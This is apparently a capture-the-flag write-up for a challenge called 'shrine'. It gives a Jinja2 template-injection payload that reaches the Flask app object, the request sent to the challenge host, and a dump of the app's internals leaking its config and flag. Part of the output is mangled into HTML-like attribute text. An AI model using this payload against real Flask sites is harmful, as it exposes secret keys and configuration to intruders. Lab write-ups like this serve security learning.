Rating: 0

Although you might not be able to list app, but it do have a `__init__` child, then we can use
`{{app.__init__.__globals__.sys.modules.app.app.__dict__}}`
to list all of the original properties

This was the response from `http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Bapp.__init__.__globals__.sys.modules.app.app.__dict__%7D%7D`
```
{'import_name': 'app', 'template_folder': 'templates', 'root_path': '/srv/shrine', '_static_folder': 'static', '_static_url_path': None, 'instance_path': '/srv/shrine/instance', 'config': <config {'env':="" 'production',="" 'debug':="" false,="" 'testing':="" false,="" 'propagate_exceptions':="" none,="" 'preserve_context_on_exception':="" none,="" 'secret_key':="" none,="" 'permanent_session_lifetime':="" datetime.timedelta(days="31)," 'use_x_sendfile':="" false,="" 'server_name':="" none,="" 'application_root':="" '="" ',="" 'session_cookie_name':="" 'session',="" 'session_cookie_domain':="" none,="" 'session_cookie_path':="" none,="" 'session_cookie_httponly':="" true,="" 'session_cookie_secure':="" false,="" 'session_cookie_samesite':="" none,="" 'session_refresh_each_request':="" true,="" 'max_content_length':="" none,="" 'send_file_max_age_default':="" datetime.timedelta(seconds="43200)," 'trap_bad_request_errors':="" none,="" 'trap_http_exceptions':="" false,="" 'explain_template_loading':="" false,="" 'preferred_url_scheme':="" 'http',="" 'json_as_ascii':="" true,="" 'json_sort_keys':="" true,="" 'jsonify_prettyprint_regular':="" false,="" 'jsonify_mimetype':="" 'application="" json',="" 'templates_auto_reload':="" none,="" 'max_cookie_size':="" 4093,="" 'flag':="" 'twctf{pray_f0r_sacred_jinja2}'}="">, 'view_functions': {'static': <bound method="" _packageboundobject.send_static_file="" of="" <flask="" 'app'="">>, 'index': <function index="" at="" 0x7fdc27641d90="">, 'shrine': <function shrine="" at="" 0x7fdc2345e158="">}, 'error_handler_spec': {None: {}}, 'url_build_error_handlers': [], 'before_request_funcs': {}, 'before_first_request_funcs': [], 'after_request_funcs': {}, 'teardown_request_funcs': {}, 'teardown_appcontext_funcs': [], 'url_value_preprocessors': {}, 'url_default_functions': {}, 'template_context_processors': {None: [<function _default_template_ctx_processor="" at="" 0x7fdc2344ed08="">]}, 'shell_context_processors': [], 'blueprints': {}, '_blueprint_order': [], 'extensions': {}, 'url_map': Map([<rule '="" '="" (get,="" head,="" options)="" -=""> index>, <rule '="" static="" <filename="">' (GET, HEAD, OPTIONS) -> static>, <rule '="" shrine="" <shrine="">' (GET, HEAD, OPTIONS) -> shrine>]), 'subdomain_matching': False, '_got_first_request': True, '_before_request_lock': <unlocked _thread.lock="" object="" at="" 0x7fdc276720d0="">, 'name': 'app', 'cli': <flask.cli.appgroup object="" at="" 0x7fdc2766cda0="">, 'jinja_env': <flask.templating.environment object="" at="" 0x7fdc26b37d30="">, 'logger': <logger flask.app="" (warning)="">, 'jinja_loader': <jinja2.loaders.filesystemloader object="" at="" 0x7fdc22cd2438="">}
```